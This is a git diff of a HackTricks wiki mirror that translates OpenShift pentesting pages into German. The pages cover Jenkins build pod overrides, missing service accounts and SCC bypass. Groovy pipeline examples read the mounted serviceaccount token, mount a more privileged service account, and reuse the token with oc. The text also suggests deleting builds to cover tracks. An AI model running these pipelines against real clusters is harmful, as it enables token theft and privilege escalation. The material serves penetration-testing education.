mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2025-12-29 22:20:33 -08:00
Translated ['.github/pull_request_template.md', 'src/pentesting-cloud/az
This commit is contained in:
Translator
@@ -1,23 +1,19 @@
|
||||
# OpenShift Pentesting
|
||||
|
||||
## Basic Information
|
||||
## Grundlegende Informationen
|
||||
|
||||
{{#ref}}
|
||||
openshift-basic-information.md
|
||||
{{#endref}}
|
||||
|
||||
## Security Context Constraints
|
||||
## Sicherheitskontextbeschränkungen
|
||||
|
||||
{{#ref}}
|
||||
openshift-scc.md
|
||||
{{#endref}}
|
||||
|
||||
## Privilege Escalation
|
||||
## Privilegieneskalation
|
||||
|
||||
{{#ref}}
|
||||
openshift-privilege-escalation/
|
||||
{{#endref}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,35 +1,33 @@
|
||||
# OpenShift - Basic information
|
||||
# OpenShift - Grundinformationen
|
||||
|
||||
## Kubernetes prior b**asic knowledge** <a href="#a94e" id="a94e"></a>
|
||||
## Kubernetes vorherige b**asics Kenntnisse** <a href="#a94e" id="a94e"></a>
|
||||
|
||||
Before working with OpenShift, ensure you are comfortable with the Kubernetes environment. The entire OpenShift chapter assumes you have prior knowledge of Kubernetes.
|
||||
Bevor Sie mit OpenShift arbeiten, stellen Sie sicher, dass Sie mit der Kubernetes-Umgebung vertraut sind. Das gesamte OpenShift-Kapitel geht davon aus, dass Sie über Vorkenntnisse in Kubernetes verfügen.
|
||||
|
||||
## OpenShift - Basic Information
|
||||
## OpenShift - Grundinformationen
|
||||
|
||||
### Introduction
|
||||
### Einführung
|
||||
|
||||
OpenShift is Red Hat’s container application platform that offers a superset of Kubernetes features. OpenShift has stricter security policies. For instance, it is forbidden to run a container as root. It also offers a secure-by-default option to enhance security. OpenShift, features an web console which includes a one-touch login page.
|
||||
OpenShift ist die Container-Anwendungsplattform von Red Hat, die eine Erweiterung der Kubernetes-Funktionen bietet. OpenShift hat strengere Sicherheitsrichtlinien. Zum Beispiel ist es verboten, einen Container als Root auszuführen. Es bietet auch eine standardmäßig sichere Option zur Verbesserung der Sicherheit. OpenShift verfügt über eine Webkonsole, die eine Ein-Klick-Anmeldeseite umfasst.
|
||||
|
||||
#### CLI
|
||||
|
||||
OpenShift come with a it's own CLI, that can be found here:
|
||||
OpenShift kommt mit einer eigenen CLI, die hier zu finden ist:
|
||||
|
||||
{{#ref}}
|
||||
https://docs.openshift.com/container-platform/4.11/cli_reference/openshift_cli/getting-started-cli.html
|
||||
{{#endref}}
|
||||
|
||||
To login using the CLI:
|
||||
|
||||
Um sich über die CLI anzumelden:
|
||||
```bash
|
||||
oc login -u=<username> -p=<password> -s=<server>
|
||||
oc login -s=<server> --token=<bearer token>
|
||||
```
|
||||
### **OpenShift - Sicherheitskontextbeschränkungen** <a href="#a94e" id="a94e"></a>
|
||||
|
||||
### **OpenShift - Security Context Constraints** <a href="#a94e" id="a94e"></a>
|
||||
Neben den [RBAC-Ressourcen](https://docs.openshift.com/container-platform/3.11/architecture/additional_concepts/authorization.html#architecture-additional-concepts-authorization), die steuern, was ein Benutzer tun kann, bietet die OpenShift Container Platform _Sicherheitskontextbeschränkungen_ (SCC), die die Aktionen steuern, die ein Pod ausführen kann, und auf was er zugreifen kann.
|
||||
|
||||
In addition to the [RBAC resources](https://docs.openshift.com/container-platform/3.11/architecture/additional_concepts/authorization.html#architecture-additional-concepts-authorization) that control what a user can do, OpenShift Container Platform provides _security context constraints_ (SCC) that control the actions that a pod can perform and what it has the ability to access.
|
||||
|
||||
SCC is a policy object that has special rules that correspond with the infrastructure itself, unlike RBAC that has rules that correspond with the Platform. It helps us define what Linux access-control features the container should be able to request/run. Example: Linux Capabilities, SECCOMP profiles, Mount localhost dirs, etc.
|
||||
SCC ist ein Richtlinienobjekt, das spezielle Regeln hat, die mit der Infrastruktur selbst übereinstimmen, im Gegensatz zu RBAC, das Regeln hat, die mit der Plattform übereinstimmen. Es hilft uns zu definieren, welche Linux-Zugriffskontrollfunktionen der Container anfordern/ausführen sollte. Beispiel: Linux-Fähigkeiten, SECCOMP-Profile, Mount localhost-Verzeichnisse usw.
|
||||
|
||||
{{#ref}}
|
||||
openshift-scc.md
|
||||
@@ -38,7 +36,3 @@ openshift-scc.md
|
||||
{{#ref}}
|
||||
https://docs.openshift.com/container-platform/3.11/architecture/additional_concepts/authorization.html#security-context-constraints
|
||||
{{#endref}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,43 +1,39 @@
|
||||
# OpenShift - Jenkins
|
||||
|
||||
**The original author of this page is** [**Fares**](https://www.linkedin.com/in/fares-siala/)
|
||||
**Der ursprüngliche Autor dieser Seite ist** [**Fares**](https://www.linkedin.com/in/fares-siala/)
|
||||
|
||||
This page gives some pointers onto how you can attack a Jenkins instance running in an Openshift (or Kubernetes) cluster
|
||||
Diese Seite gibt einige Hinweise, wie Sie eine Jenkins-Instanz angreifen können, die in einem Openshift- (oder Kubernetes-) Cluster läuft.
|
||||
|
||||
## Disclaimer
|
||||
## Haftungsausschluss
|
||||
|
||||
A Jenkins instance can be deployed in both Openshift or Kubernetes cluster. Depending in your context, you may need to adapt any shown payload, yaml or technique. For more information about attacking Jenkins you can have a look at [this page](../../../pentesting-ci-cd/jenkins-security/)
|
||||
Eine Jenkins-Instanz kann sowohl in einem Openshift- als auch in einem Kubernetes-Cluster bereitgestellt werden. Je nach Kontext müssen Sie möglicherweise jede gezeigte Payload, YAML oder Technik anpassen. Für weitere Informationen zum Angreifen von Jenkins können Sie [diese Seite](../../../pentesting-ci-cd/jenkins-security/) besuchen.
|
||||
|
||||
## Prerequisites
|
||||
## Voraussetzungen
|
||||
|
||||
1a. User access in a Jenkins instance OR 1b. User access with write permission to an SCM repository where an automated build is triggered after a push/merge
|
||||
1a. Benutzerzugriff auf eine Jenkins-Instanz ODER 1b. Benutzerzugriff mit Schreibberechtigung auf ein SCM-Repository, in dem ein automatisierter Build nach einem Push/Merge ausgelöst wird.
|
||||
|
||||
## How it works
|
||||
## So funktioniert es
|
||||
|
||||
Fundamentally, almost everything behind the scenes works the same as a regular Jenkins instance running in a VM. The main difference is the overall architecture and how builds are managed inside an openshift (or kubernetes) cluster.
|
||||
Grundsätzlich funktioniert fast alles im Hintergrund genauso wie bei einer regulären Jenkins-Instanz, die in einer VM läuft. Der Hauptunterschied ist die Gesamtarchitektur und wie Builds innerhalb eines Openshift- (oder Kubernetes-) Clusters verwaltet werden.
|
||||
|
||||
### Builds
|
||||
|
||||
When a build is triggered, it is first managed/orchestrated by the Jenkins master node then delegated to an agent/slave/worker. In this context, the master node is just a regular pod running in a namespace (which might be different that the one where workers run). The same applies for the workers/slaves, however they destroyed once the build finished whereas the master always stays up. Your build is usually run inside a pod, using a default pod template defined by the Jenkins admins.
|
||||
Wenn ein Build ausgelöst wird, wird er zuerst vom Jenkins-Masterknoten verwaltet/orchestriert und dann an einen Agenten/Sklaven/Arbeiter delegiert. In diesem Kontext ist der Masterknoten nur ein regulärer Pod, der in einem Namespace läuft (der möglicherweise anders ist als der, in dem die Arbeiter laufen). Dasselbe gilt für die Arbeiter/Sklaven, jedoch werden sie zerstört, sobald der Build abgeschlossen ist, während der Master immer aktiv bleibt. Ihr Build wird normalerweise innerhalb eines Pods ausgeführt, unter Verwendung einer standardmäßigen Pod-Vorlage, die von den Jenkins-Administratoren definiert wurde.
|
||||
|
||||
### Triggering a build
|
||||
### Auslösen eines Builds
|
||||
|
||||
You have multiples main ways to trigger a build such as:
|
||||
Sie haben mehrere Hauptmöglichkeiten, um einen Build auszulösen, wie zum Beispiel:
|
||||
|
||||
1. You have UI access to Jenkins
|
||||
1. Sie haben UI-Zugriff auf Jenkins
|
||||
|
||||
A very easy and convenient way is to use the Replay functionality of an existing build. It allows you to replay a previously executed build while allowing you to update the groovy script. This requires privileges on a Jenkins folder and a predefined pipeline. If you need to be stealthy, you can delete your triggered builds if you have enough permission.
|
||||
Eine sehr einfache und bequeme Möglichkeit ist die Verwendung der Replay-Funktionalität eines vorhandenen Builds. Damit können Sie einen zuvor ausgeführten Build erneut abspielen und gleichzeitig das Groovy-Skript aktualisieren. Dies erfordert Berechtigungen für einen Jenkins-Ordner und eine vordefinierte Pipeline. Wenn Sie unauffällig sein müssen, können Sie Ihre ausgelösten Builds löschen, wenn Sie genügend Berechtigungen haben.
|
||||
|
||||
2. You have write access to the SCM and automated builds are configured via webhook
|
||||
2. Sie haben Schreibzugriff auf das SCM und automatisierte Builds sind über Webhook konfiguriert
|
||||
|
||||
You can just edit a build script (such as Jenkinsfile), commit and push (eventually create a PR if builds are only triggered on PR merges). Keep in mind that this path is very noisy and need elevated privileges to clean your tracks.
|
||||
Sie können einfach ein Build-Skript (wie Jenkinsfile) bearbeiten, committen und pushen (eventuell einen PR erstellen, wenn Builds nur bei PR-Merges ausgelöst werden). Beachten Sie, dass dieser Weg sehr laut ist und erhöhte Berechtigungen benötigt, um Ihre Spuren zu verwischen.
|
||||
|
||||
## Jenkins Build Pod YAML override
|
||||
## Jenkins Build Pod YAML-Überschreibung
|
||||
|
||||
{{#ref}}
|
||||
openshift-jenkins-build-overrides.md
|
||||
{{#endref}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,278 +1,260 @@
|
||||
# Jenkins in Openshift - build pod overrides
|
||||
# Jenkins in Openshift - Build-Pod-Overrides
|
||||
|
||||
**The original author of this page is** [**Fares**](https://www.linkedin.com/in/fares-siala/)
|
||||
**Der ursprüngliche Autor dieser Seite ist** [**Fares**](https://www.linkedin.com/in/fares-siala/)
|
||||
|
||||
## Kubernetes plugin for Jenkins
|
||||
This plugin is mostly responsible of Jenkins core functions inside an openshift/kubernetes cluster. Official documentation [here](https://plugins.jenkins.io/kubernetes/)
|
||||
It offers a few functionnalities such as the ability for developers to override some default configurations of a jenkins build pod.
|
||||
## Kubernetes-Plugin für Jenkins
|
||||
Dieses Plugin ist hauptsächlich für die Kernfunktionen von Jenkins innerhalb eines Openshift/Kubernetes-Clusters verantwortlich. Offizielle Dokumentation [hier](https://plugins.jenkins.io/kubernetes/)
|
||||
Es bietet einige Funktionalitäten, wie die Möglichkeit für Entwickler, einige Standardkonfigurationen eines Jenkins-Build-Pods zu überschreiben.
|
||||
|
||||
## Core functionnality
|
||||
|
||||
This plugin allows flexibility to developers when building their code in adequate environment.
|
||||
## Kernfunktionalität
|
||||
|
||||
Dieses Plugin ermöglicht Entwicklern Flexibilität beim Erstellen ihres Codes in einer geeigneten Umgebung.
|
||||
```groovy
|
||||
podTemplate(yaml: '''
|
||||
apiVersion: v1
|
||||
kind: Pod
|
||||
spec:
|
||||
containers:
|
||||
- name: maven
|
||||
image: maven:3.8.1-jdk-8
|
||||
command:
|
||||
- sleep
|
||||
args:
|
||||
- 99d
|
||||
apiVersion: v1
|
||||
kind: Pod
|
||||
spec:
|
||||
containers:
|
||||
- name: maven
|
||||
image: maven:3.8.1-jdk-8
|
||||
command:
|
||||
- sleep
|
||||
args:
|
||||
- 99d
|
||||
''') {
|
||||
node(POD_LABEL) {
|
||||
stage('Get a Maven project') {
|
||||
git 'https://github.com/jenkinsci/kubernetes-plugin.git'
|
||||
container('maven') {
|
||||
stage('Build a Maven project') {
|
||||
sh 'mvn -B -ntp clean install'
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
node(POD_LABEL) {
|
||||
stage('Get a Maven project') {
|
||||
git 'https://github.com/jenkinsci/kubernetes-plugin.git'
|
||||
container('maven') {
|
||||
stage('Build a Maven project') {
|
||||
sh 'mvn -B -ntp clean install'
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
## Einige Missbräuche, die Pod-YAML-Overrides ausnutzen
|
||||
|
||||
## Some abuses leveraging pod yaml override
|
||||
|
||||
It can however be abused to use any accessible image such as Kali Linux and execute arbritrary commands using preinstalled tools from that image.
|
||||
In the example below we can exfiltrate the serviceaccount token of the running pod.
|
||||
|
||||
Es kann jedoch missbraucht werden, um jedes zugängliche Image wie Kali Linux zu verwenden und beliebige Befehle mit vorinstallierten Tools aus diesem Image auszuführen.
|
||||
Im folgenden Beispiel können wir das Serviceaccount-Token des laufenden Pods exfiltrieren.
|
||||
```groovy
|
||||
podTemplate(yaml: '''
|
||||
apiVersion: v1
|
||||
kind: Pod
|
||||
spec:
|
||||
containers:
|
||||
- name: kali
|
||||
image: myregistry/mykali_image:1.0
|
||||
command:
|
||||
- sleep
|
||||
args:
|
||||
- 1d
|
||||
apiVersion: v1
|
||||
kind: Pod
|
||||
spec:
|
||||
containers:
|
||||
- name: kali
|
||||
image: myregistry/mykali_image:1.0
|
||||
command:
|
||||
- sleep
|
||||
args:
|
||||
- 1d
|
||||
''') {
|
||||
node(POD_LABEL) {
|
||||
stage('Evil build') {
|
||||
container('kali') {
|
||||
stage('Extract openshift token') {
|
||||
sh 'cat /run/secrets/kubernetes.io/serviceaccount/token'
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
node(POD_LABEL) {
|
||||
stage('Evil build') {
|
||||
container('kali') {
|
||||
stage('Extract openshift token') {
|
||||
sh 'cat /run/secrets/kubernetes.io/serviceaccount/token'
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
A different synthax to achieve the same goal.
|
||||
|
||||
Eine andere Syntax, um dasselbe Ziel zu erreichen.
|
||||
```groovy
|
||||
pipeline {
|
||||
stages {
|
||||
stage('Process pipeline') {
|
||||
agent {
|
||||
kubernetes {
|
||||
yaml """
|
||||
spec:
|
||||
containers:
|
||||
- name: kali-container
|
||||
image: myregistry/mykali_image:1.0
|
||||
imagePullPolicy: IfNotPresent
|
||||
command:
|
||||
- sleep
|
||||
args:
|
||||
- 1d
|
||||
"""
|
||||
}
|
||||
}
|
||||
stages {
|
||||
stage('Say hello') {
|
||||
steps {
|
||||
echo 'Hello from a docker container'
|
||||
sh 'env'
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
pipeline {
|
||||
stages {
|
||||
stage('Process pipeline') {
|
||||
agent {
|
||||
kubernetes {
|
||||
yaml """
|
||||
spec:
|
||||
containers:
|
||||
- name: kali-container
|
||||
image: myregistry/mykali_image:1.0
|
||||
imagePullPolicy: IfNotPresent
|
||||
command:
|
||||
- sleep
|
||||
args:
|
||||
- 1d
|
||||
"""
|
||||
}
|
||||
}
|
||||
stages {
|
||||
stage('Say hello') {
|
||||
steps {
|
||||
echo 'Hello from a docker container'
|
||||
sh 'env'
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
Sample to override the namespace of the pod
|
||||
Beispiel zum Überschreiben des Namensraums des Pods
|
||||
```groovy
|
||||
pipeline {
|
||||
stages {
|
||||
stage('Process pipeline') {
|
||||
agent {
|
||||
kubernetes {
|
||||
yaml """
|
||||
metadata:
|
||||
namespace: RANDOM-NAMESPACE
|
||||
spec:
|
||||
containers:
|
||||
- name: kali-container
|
||||
image: myregistry/mykali_image:1.0
|
||||
imagePullPolicy: IfNotPresent
|
||||
command:
|
||||
- sleep
|
||||
args:
|
||||
- 1d
|
||||
"""
|
||||
}
|
||||
}
|
||||
stages {
|
||||
stage('Say hello') {
|
||||
steps {
|
||||
echo 'Hello from a docker container'
|
||||
sh 'env'
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
pipeline {
|
||||
stages {
|
||||
stage('Process pipeline') {
|
||||
agent {
|
||||
kubernetes {
|
||||
yaml """
|
||||
metadata:
|
||||
namespace: RANDOM-NAMESPACE
|
||||
spec:
|
||||
containers:
|
||||
- name: kali-container
|
||||
image: myregistry/mykali_image:1.0
|
||||
imagePullPolicy: IfNotPresent
|
||||
command:
|
||||
- sleep
|
||||
args:
|
||||
- 1d
|
||||
"""
|
||||
}
|
||||
}
|
||||
stages {
|
||||
stage('Say hello') {
|
||||
steps {
|
||||
echo 'Hello from a docker container'
|
||||
sh 'env'
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
Another example which tries mounting a serviceaccount (which may have more permissions than the default one, running your build) based on its name. You may need to guess or enumerate existing serviceaccounts first.
|
||||
|
||||
Ein weiteres Beispiel, das versucht, ein serviceaccount zu mounten (das möglicherweise mehr Berechtigungen hat als das Standardkonto, das Ihren Build ausführt), basierend auf seinem Namen. Möglicherweise müssen Sie zuerst vorhandene serviceaccounts erraten oder auflisten.
|
||||
```groovy
|
||||
pipeline {
|
||||
stages {
|
||||
stage('Process pipeline') {
|
||||
agent {
|
||||
kubernetes {
|
||||
yaml """
|
||||
spec:
|
||||
serviceAccount: MY_SERVICE_ACCOUNT
|
||||
containers:
|
||||
- name: kali-container
|
||||
image: myregistry/mykali_image:1.0
|
||||
imagePullPolicy: IfNotPresent
|
||||
command:
|
||||
- sleep
|
||||
args:
|
||||
- 1d
|
||||
"""
|
||||
}
|
||||
}
|
||||
stages {
|
||||
stage('Say hello') {
|
||||
steps {
|
||||
echo 'Hello from a docker container'
|
||||
sh 'env'
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
pipeline {
|
||||
stages {
|
||||
stage('Process pipeline') {
|
||||
agent {
|
||||
kubernetes {
|
||||
yaml """
|
||||
spec:
|
||||
serviceAccount: MY_SERVICE_ACCOUNT
|
||||
containers:
|
||||
- name: kali-container
|
||||
image: myregistry/mykali_image:1.0
|
||||
imagePullPolicy: IfNotPresent
|
||||
command:
|
||||
- sleep
|
||||
args:
|
||||
- 1d
|
||||
"""
|
||||
}
|
||||
}
|
||||
stages {
|
||||
stage('Say hello') {
|
||||
steps {
|
||||
echo 'Hello from a docker container'
|
||||
sh 'env'
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
Die gleiche Technik gilt, um zu versuchen, ein Secret zu mounten. Das Endziel hier wäre herauszufinden, wie man den Pod-Bau so konfiguriert, dass man effektiv pivotieren oder Privilegien erlangen kann.
|
||||
|
||||
The same technique applies to try mounting a Secret. The end goal here would be to figure out how to configure your pod build to effectively pivot or gain privileges.
|
||||
## Weiterführend
|
||||
|
||||
## Going further
|
||||
Sobald Sie sich daran gewöhnt haben, damit zu spielen, nutzen Sie Ihr Wissen über Jenkins und Kubernetes/Openshift, um Fehlkonfigurationen / Missbräuche zu finden.
|
||||
|
||||
Once you get used to play around with it, use your knowledge on Jenkins and Kubernetes/Openshift to find misconfigurations / abuses.
|
||||
Stellen Sie sich die folgenden Fragen:
|
||||
|
||||
Ask yourself the following questions:
|
||||
- Welches Dienstkonto wird verwendet, um Build-Pods bereitzustellen?
|
||||
- Welche Rollen und Berechtigungen hat es? Kann es Secrets des Namespaces lesen, in dem ich mich gerade befinde?
|
||||
- Kann ich weitere Build-Pods auflisten?
|
||||
- Kann ich von einem kompromittierten sa aus Befehle auf dem Master-Knoten/Pod ausführen?
|
||||
- Kann ich den Cluster weiter auflisten, um woanders zu pivotieren?
|
||||
- Welches SCC wird angewendet?
|
||||
|
||||
- Which service account is being used to deploy build pods?
|
||||
- What roles and permissions does it have? Can it read secrets of the namespace I am currently in?
|
||||
- Can I further enumerate other build pods?
|
||||
- From a compromised sa, can I execute commands on the master node/pod?
|
||||
- Can I further enumerate the cluster to pivot elsewhere?
|
||||
- Which SCC is applied?
|
||||
Sie können herausfinden, welche oc/kubectl-Befehle auszuführen sind [hier](../openshift-basic-information.md) und [hier](../../kubernetes-security/kubernetes-enumeration.md).
|
||||
|
||||
You can find out which oc/kubectl commands to issue [here](../openshift-basic-information.md) and [here](../../kubernetes-security/kubernetes-enumeration.md).
|
||||
### Mögliche privesc/pivoting Szenarien
|
||||
|
||||
### Possible privesc/pivoting scenarios
|
||||
Angenommen, während Ihrer Bewertung haben Sie herausgefunden, dass alle Jenkins-Bauten in einem Namespace namens _worker-ns_ ausgeführt werden. Sie haben herausgefunden, dass ein Standard-Dienstkonto namens _default-sa_ auf den Build-Pods gemountet ist, jedoch nicht so viele Berechtigungen hat, außer Lesezugriff auf einige Ressourcen, aber Sie konnten ein vorhandenes Dienstkonto namens _master-sa_ identifizieren.
|
||||
Angenommen, Sie haben auch den oc-Befehl im laufenden Build-Container installiert.
|
||||
|
||||
Let's assume that during your assessment you found out that all jenkins builds run inside a namespace called _worker-ns_. You figured out that a default serviceaccount called _default-sa_ is mounted on the build pods, however it does not have so many permissions except read access on some resources but you were able to identify an existing service account called _master-sa_.
|
||||
Let's also assume that you have the oc command installed inside the running build container.
|
||||
|
||||
With the below build script you can take control of the _master-sa_ serviceaccount and enumerate further.
|
||||
Mit dem folgenden Build-Skript können Sie die Kontrolle über das _master-sa_ Dienstkonto übernehmen und weiter auflisten.
|
||||
```groovy
|
||||
pipeline {
|
||||
stages {
|
||||
stage('Process pipeline') {
|
||||
agent {
|
||||
kubernetes {
|
||||
yaml """
|
||||
spec:
|
||||
serviceAccount: master-sa
|
||||
containers:
|
||||
- name: evil
|
||||
image: random_image:1.0
|
||||
imagePullPolicy: IfNotPresent
|
||||
command:
|
||||
- sleep
|
||||
args:
|
||||
- 1d
|
||||
"""
|
||||
}
|
||||
}
|
||||
stages {
|
||||
stage('Say hello') {
|
||||
steps {
|
||||
sh 'token=$(cat /run/secrets/kubernetes.io/serviceaccount/token)'
|
||||
sh 'oc --token=$token whoami'
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
pipeline {
|
||||
stages {
|
||||
stage('Process pipeline') {
|
||||
agent {
|
||||
kubernetes {
|
||||
yaml """
|
||||
spec:
|
||||
serviceAccount: master-sa
|
||||
containers:
|
||||
- name: evil
|
||||
image: random_image:1.0
|
||||
imagePullPolicy: IfNotPresent
|
||||
command:
|
||||
- sleep
|
||||
args:
|
||||
- 1d
|
||||
"""
|
||||
}
|
||||
}
|
||||
stages {
|
||||
stage('Say hello') {
|
||||
steps {
|
||||
sh 'token=$(cat /run/secrets/kubernetes.io/serviceaccount/token)'
|
||||
sh 'oc --token=$token whoami'
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
Depending on your access, either you need to continue your attack from the build script or you can directly login as this sa on the running cluster:
|
||||
Je nach Ihrem Zugriff müssen Sie entweder Ihren Angriff vom Build-Skript aus fortsetzen oder Sie können sich direkt als dieser sa im laufenden Cluster anmelden:
|
||||
```bash
|
||||
oc login --token=$token --server=https://apiserver.com:port
|
||||
```
|
||||
|
||||
|
||||
If this sa has enough permission (such as pod/exec), you can also take control of the whole jenkins instance by executing commands inside the master node pod, if it's running within the same namespace. You can easily identify this pod via its name and by the fact that it must be mounting a PVC (persistant volume claim) used to store jenkins data.
|
||||
|
||||
Wenn dieser sa über ausreichende Berechtigungen verfügt (wie pod/exec), können Sie auch die gesamte Jenkins-Instanz übernehmen, indem Sie Befehle im Pod des Master-Knotens ausführen, sofern er im selben Namespace läuft. Sie können diesen Pod leicht anhand seines Namens und der Tatsache identifizieren, dass er ein PVC (Persistent Volume Claim) einbinden muss, das zur Speicherung von Jenkins-Daten verwendet wird.
|
||||
```bash
|
||||
oc rsh pod_name -c container_name
|
||||
```
|
||||
|
||||
In case the master node pod is not running within the same namespace as the workers you can try similar attacks by targetting the master namespace. Let's assume its called _jenkins-master_. Keep in mind that serviceAccount master-sa needs to exist on the _jenkins-master_ namespace (and might not exist in _worker-ns_ namespace)
|
||||
|
||||
Falls das Master-Node-Pod nicht im selben Namespace wie die Worker läuft, können Sie ähnliche Angriffe versuchen, indem Sie den Master-Namespace anvisieren. Angenommen, er heißt _jenkins-master_. Beachten Sie, dass das Servicekonto master-sa im Namespace _jenkins-master_ existieren muss (und möglicherweise nicht im Namespace _worker-ns_ existiert).
|
||||
```groovy
|
||||
pipeline {
|
||||
stages {
|
||||
stage('Process pipeline') {
|
||||
agent {
|
||||
kubernetes {
|
||||
yaml """
|
||||
metadata:
|
||||
namespace: jenkins-master
|
||||
spec:
|
||||
serviceAccount: master-sa
|
||||
containers:
|
||||
- name: evil-build
|
||||
image: myregistry/mykali_image:1.0
|
||||
imagePullPolicy: IfNotPresent
|
||||
command:
|
||||
- sleep
|
||||
args:
|
||||
- 1d
|
||||
"""
|
||||
}
|
||||
}
|
||||
stages {
|
||||
stage('Say hello') {
|
||||
steps {
|
||||
echo 'Hello from a docker container'
|
||||
sh 'env'
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
pipeline {
|
||||
stages {
|
||||
stage('Process pipeline') {
|
||||
agent {
|
||||
kubernetes {
|
||||
yaml """
|
||||
metadata:
|
||||
namespace: jenkins-master
|
||||
spec:
|
||||
serviceAccount: master-sa
|
||||
containers:
|
||||
- name: evil-build
|
||||
image: myregistry/mykali_image:1.0
|
||||
imagePullPolicy: IfNotPresent
|
||||
command:
|
||||
- sleep
|
||||
args:
|
||||
- 1d
|
||||
"""
|
||||
}
|
||||
}
|
||||
stages {
|
||||
stage('Say hello') {
|
||||
steps {
|
||||
echo 'Hello from a docker container'
|
||||
sh 'env'
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
# OpenShift - Privilege Escalation
|
||||
# OpenShift - Privilegieneskalation
|
||||
|
||||
## Missing Service Account
|
||||
## Fehlendes Dienstkonto
|
||||
|
||||
{{#ref}}
|
||||
openshift-missing-service-account.md
|
||||
@@ -12,12 +12,8 @@ openshift-missing-service-account.md
|
||||
openshift-tekton.md
|
||||
{{#endref}}
|
||||
|
||||
## SCC Bypass
|
||||
## SCC Umgehung
|
||||
|
||||
{{#ref}}
|
||||
openshift-scc-bypass.md
|
||||
{{#endref}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,27 +1,23 @@
|
||||
# OpenShift - Missing Service Account
|
||||
# OpenShift - Fehlender Service-Account
|
||||
|
||||
## Missing Service Account
|
||||
## Fehlender Service-Account
|
||||
|
||||
It happens that cluster is deployed with preconfigured template automatically setting Roles, RoleBindings and even SCC to service account that is not yet created. This can lead to privilege escalation in the case where you can create them. In this case, you would be able to get the token of the SA newly created and the role or SCC associated. Same case happens when the missing SA is part of a missing project, in this case if you can create the project and then the SA you get the Roles and SCC associated.
|
||||
Es kommt vor, dass ein Cluster mit einer vorkonfigurierten Vorlage bereitgestellt wird, die automatisch Rollen, RoleBindings und sogar SCC für einen Service-Account festlegt, der noch nicht erstellt wurde. Dies kann zu einer Privilegieneskalation führen, wenn Sie diese erstellen können. In diesem Fall wären Sie in der Lage, das Token des neu erstellten SA und die zugehörige Rolle oder SCC zu erhalten. Dasselbe passiert, wenn der fehlende SA Teil eines fehlenden Projekts ist; in diesem Fall, wenn Sie das Projekt und dann den SA erstellen können, erhalten Sie die zugehörigen Rollen und SCC.
|
||||
|
||||
<figure><img src="../../../images/openshift-missing-service-account-image1.png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
In the previous graph we got multiple AbsentProject meaning multiple project that appears in Roles Bindings or SCC but are not yet created in the cluster. In the same vein we also got an AbsentServiceAccount.
|
||||
Im vorherigen Diagramm haben wir mehrere AbsentProject, was mehrere Projekte bedeutet, die in Rollenbindungen oder SCC erscheinen, aber noch nicht im Cluster erstellt wurden. In ähnlicher Weise haben wir auch einen AbsentServiceAccount.
|
||||
|
||||
If we can create a project and the missing SA in it, the SA will inherited from the Role or the SCC that were targeting the AbsentServiceAccount. Which can lead to privilege escalation.
|
||||
Wenn wir ein Projekt und den fehlenden SA darin erstellen können, wird der SA von der Rolle oder dem SCC erben, die auf den AbsentServiceAccount abzielten. Dies kann zu einer Privilegieneskalation führen.
|
||||
|
||||
The following example show a missing SA which is granted node-exporter SCC:
|
||||
Das folgende Beispiel zeigt einen fehlenden SA, dem node-exporter SCC gewährt wird:
|
||||
|
||||
<figure><img src="../../../images/openshift-missing-service-account-image2.png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
## Tools
|
||||
|
||||
The following tool can be use to enumerate this issue and more generally to graph an OpenShift cluster:
|
||||
Das folgende Tool kann verwendet werden, um dieses Problem zu enumerieren und allgemeiner, um einen OpenShift-Cluster zu grafieren:
|
||||
|
||||
{{#ref}}
|
||||
https://github.com/maxDcb/OpenShiftGrapher
|
||||
{{#endref}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,10 +1,10 @@
|
||||
# Openshift - SCC bypass
|
||||
|
||||
**The original author of this page is** [**Guillaume**](https://www.linkedin.com/in/guillaume-chapela-ab4b9a196)
|
||||
**Der ursprüngliche Autor dieser Seite ist** [**Guillaume**](https://www.linkedin.com/in/guillaume-chapela-ab4b9a196)
|
||||
|
||||
## Privileged Namespaces
|
||||
## Privilegierte Namespaces
|
||||
|
||||
By default, SCC does not apply on following projects :
|
||||
Standardmäßig wird SCC nicht auf folgenden Projekten angewendet:
|
||||
|
||||
- **default**
|
||||
- **kube-system**
|
||||
@@ -13,130 +13,114 @@ By default, SCC does not apply on following projects :
|
||||
- **openshift-infra**
|
||||
- **openshift**
|
||||
|
||||
If you deploy pods within one of those namespaces, no SCC will be enforced, allowing for the deployment of privileged pods or mounting of the host file system.
|
||||
Wenn Sie Pods in einem dieser Namespaces bereitstellen, wird keine SCC durchgesetzt, was die Bereitstellung von privilegierten Pods oder das Einbinden des Host-Dateisystems ermöglicht.
|
||||
|
||||
## Namespace Label
|
||||
## Namespace-Label
|
||||
|
||||
There is a way to disable the SCC application on your pod according to RedHat documentation. You will need to have at least one of the following permission :
|
||||
|
||||
- Create a Namespace and Create a Pod on this Namespace
|
||||
